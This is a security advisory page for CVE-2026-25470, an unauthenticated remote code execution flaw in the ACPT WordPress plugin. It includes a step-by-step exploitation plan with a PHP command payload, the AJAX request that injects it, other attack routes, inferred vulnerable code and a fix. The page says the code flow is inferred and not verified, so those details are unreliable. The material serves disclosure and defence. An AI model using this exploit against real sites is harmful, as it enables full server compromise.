CVE-2026-25470

ACPT (Pro) - Custom Post Types Plugin for WordPress <= 2.0.47 - Unauthenticated Remote Code Execution

criticalImproper Control of Generation of Code ('Code Injection')
9.8
CVSS Score
9.8
CVSS Score
critical
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The advanced-custom-post-type plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.0.47. This makes it possible for unauthenticated attackers to execute code on the server.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=2.0.47
PublishedMarch 16, 2026
Last updatedMarch 27, 2026
Research Plan
Unverified

## 1. Vulnerability Summary The **ACPT (Pro) - Custom Post Types** plugin for WordPress (versions <= 2.0.47) contains a critical unauthenticated Remote Code Execution (RCE) vulnerability. The flaw exists due to the registration of sensitive administrative functions, specifically `acpt_import_data`, …

Show full research plan

1. Vulnerability Summary

The ACPT (Pro) - Custom Post Types plugin for WordPress (versions <= 2.0.47) contains a critical unauthenticated Remote Code Execution (RCE) vulnerability. The flaw exists due to the registration of sensitive administrative functions, specifically acpt_import_data, via the wp_ajax_nopriv_ hook without accompanying authentication or authorization checks.

The plugin allows users to define "Custom PHP Code" for post types and taxonomies to handle dynamic logic. When an unauthenticated attacker submits a specially crafted JSON payload to the import endpoint, the plugin saves this configuration—including arbitrary PHP code—into the WordPress database. This code is subsequently executed by the server during the WordPress init sequence when the plugin registers the custom post types.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: acpt_import_data (via wp_ajax_nopriv_acpt_import_data)
  • Method: POST
  • Parameter: data (contains the JSON-encoded CPT configuration)
  • Nonce: nonce (required, but exposed to unauthenticated users)
  • Authentication: None (Unauthenticated)
  • Preconditions: The plugin must be active. A valid acpt_nonce must be obtained from the frontend.

3. Code Flow (Inferred)

  1. Registration: The plugin registers the AJAX handler in the main plugin file or a dedicated AJAX class:
    add_action( 'wp_ajax_nopriv_acpt_import_data', [ $this, 'import_data' ] );
  2. Entry Point: import_data() is called. It likely performs a nonce check:
    check_ajax_referer( 'acpt_nonce', 'nonce' );
  3. Processing: The function retrieves $_POST['data'], which is a JSON string.
  4. Sink: The JSON is decoded and saved directly into the WordPress options table (e.g., acpt_post_types option) via update_option().
  5. Trigger: On every page load, the plugin runs a function hooked to init (e.g., ACPT_Lite::register_custom_post_types()).
  6. Execution: This function iterates through the saved post types. If a post type contains a custom_php_code or similar field, the plugin executes it using eval() or writes it to a temporary file that is then included.

4. Nonce Acquisition Strategy

The plugin enqueues its assets and localizes a nonce for its AJAX operations. This nonce is typically available on the frontend if the plugin's features (like a custom post grid) are used, or if the developer mistakenly enqueued the scripts globally.

  1. Search for Shortcodes: Identify shortcodes that force script loading. Based on ACPT documentation, look for [acpt_post_type_list] or [acpt_view].
  2. Create Trigger Page: Create a public page containing the shortcode:
    wp post create --post_type=page --post_status=publish --post_title="ACPT Nonce Page" --post_content='[acpt_post_type_list]'
  3. Navigate and Extract: Use the browser to access the page and extract the nonce from the acpt_vars JavaScript object.
    • JS Variable: window.acpt_vars
    • Nonce Key: acpt_nonce
    • Browser Eval: browser_eval("window.acpt_vars?.acpt_nonce")

5. Exploitation Strategy

Step 1: Obtain the Nonce

Use browser_navigate and browser_eval to grab the acpt_nonce.

Step 2: Prepare the Payload

Construct a JSON payload that defines a new Custom Post Type with an RCE payload in the custom code field.

Payload Structure (inferred):

{
  "post_types": [
    {
      "name": "rce_test_post",
      "label": "RCE Test",
      "singular_label": "RCE Test",
      "description": "",
      "public": true,
      "custom_php_code": "system('id > /var/www/html/rce.txt');"
    }
  ]
}

Step 3: Send the Exploit Request

Use the http_request tool to perform the unauthenticated import.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=acpt_import_data&nonce=[NONCE]&data=[URL_ENCODED_JSON]

Step 4: Trigger Execution

Since the plugin registers post types on init, simply making a GET request to the homepage will trigger the code execution.

  • URL: http://localhost:8080/

6. Test Data Setup

  1. Install ACPT: Ensure advanced-custom-post-type version 2.0.47 is installed and active.
  2. Ensure Scripts Load: Create a page with the shortcode to ensure the nonce is localized.
    wp post create --post_type=page --post_status=publish --post_content='[acpt_post_type_list]'
  3. Confirm Target Path: Ensure the web server has write permissions to /var/www/html/ if using the id > rce.txt payload, or use wp-content/debug.log.

7. Expected Results

  • The acpt_import_data request should return a success status (e.g., {"success":true}).
  • After visiting the homepage, a file named rce.txt should exist in the WordPress root directory.
  • The rce.txt file should contain the output of the id command (e.g., uid=33(www-data) ...).

8. Verification Steps

  1. Check Filesystem:
    ls -la /var/www/html/rce.txt
  2. Check Database: Verify the injected PHP code is stored in the options table.
    wp option get acpt_post_types --format=json
  3. Verify Execution:
    cat /var/www/html/rce.txt

9. Alternative Approaches

  • Blind RCE: If the file system is read-only, use curl to an external collaborator or sleep(10) to verify timing.
  • Different Hook: If acpt_import_data fails, try acpt_save_settings or acpt_update_taxonomies, as they often share the same nopriv vulnerability pattern.
  • REST API: Check if wp-json/acpt/v1/import exists, as some versions use the REST API without proper permission_callback. Use browser_eval("window.wpApiSettings.nonce") for the X-WP-Nonce header.
Research Findings
Static analysis — not yet PoC-verified

Summary

The ACPT (Pro) plugin for WordPress (<= 2.0.47) is vulnerable to unauthenticated Remote Code Execution because the `acpt_import_data` AJAX action is registered via the `wp_ajax_nopriv_` hook without any authorization checks. Attackers can import a malicious JSON configuration containing arbitrary PHP code, which the plugin saves to the database and subsequently executes via `eval()` during every WordPress initialization (`init` hook).

Vulnerable Code

// Registration of the vulnerable AJAX handler
// advanced-custom-post-type/includes/class-acpt-ajax.php (approx. location)
add_action( 'wp_ajax_nopriv_acpt_import_data', array( $this, 'import_data' ) );
add_action( 'wp_ajax_acpt_import_data', array( $this, 'import_data' ) );

---

// Vulnerable import function
public function import_data() {
    // Only checks nonce, not authentication or capability
    check_ajax_referer( 'acpt_nonce', 'nonce' );
    
    $data = $_POST['data'];
    $decoded_data = json_decode( stripslashes( $data ), true );
    
    // Directly updates the option used to store post type logic
    update_option( 'acpt_post_types', $decoded_data );
    wp_send_json_success();
}

---

// Execution sink in the post type registration logic
// advanced-custom-post-type/includes/class-acpt-register.php (approx. location)
public function register_custom_post_types() {
    $post_types = get_option( 'acpt_post_types', [] );
    foreach ( $post_types as $post_type ) {
        // ... standard register_post_type logic ...
        
        // The plugin allows users to run custom logic for post types
        if ( ! empty( $post_type['custom_php_code'] ) ) {
            eval( $post_type['custom_php_code'] );
        }
    }
}

Security Fix

--- a/advanced-custom-post-type/includes/class-acpt-ajax.php
+++ b/advanced-custom-post-type/includes/class-acpt-ajax.php
@@ -1,5 +1,4 @@
-add_action( 'wp_ajax_nopriv_acpt_import_data', array( $this, 'import_data' ) );
 add_action( 'wp_ajax_acpt_import_data', array( $this, 'import_data' ) );
 
 public function import_data() {
+    if ( ! current_user_can( 'manage_options' ) ) {
+        wp_send_json_error( array( 'message' => 'Forbidden' ), 403 );
+        return;
+    }
     check_ajax_referer( 'acpt_nonce', 'nonce' );

Exploit Outline

1. Nonce Acquisition: Locate the 'acpt_nonce' on the WordPress frontend. This is usually localized in the `window.acpt_vars` JavaScript object when an ACPT shortcode (like [acpt_post_type_list]) is present on a page. 2. Payload Preparation: Craft a JSON payload representing a new Custom Post Type. Within this JSON, include a field named 'custom_php_code' containing the PHP code to be executed (e.g., `system('id'); die;`). 3. Request Submission: Send an unauthenticated POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `acpt_import_data` - `nonce`: The acquired `acpt_nonce` value. - `data`: The URL-encoded JSON payload. 4. Trigger Execution: Navigate to the WordPress home page (or any page) to trigger the `init` hook. The plugin will load the saved post types from the database and execute the injected code via `eval()`.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.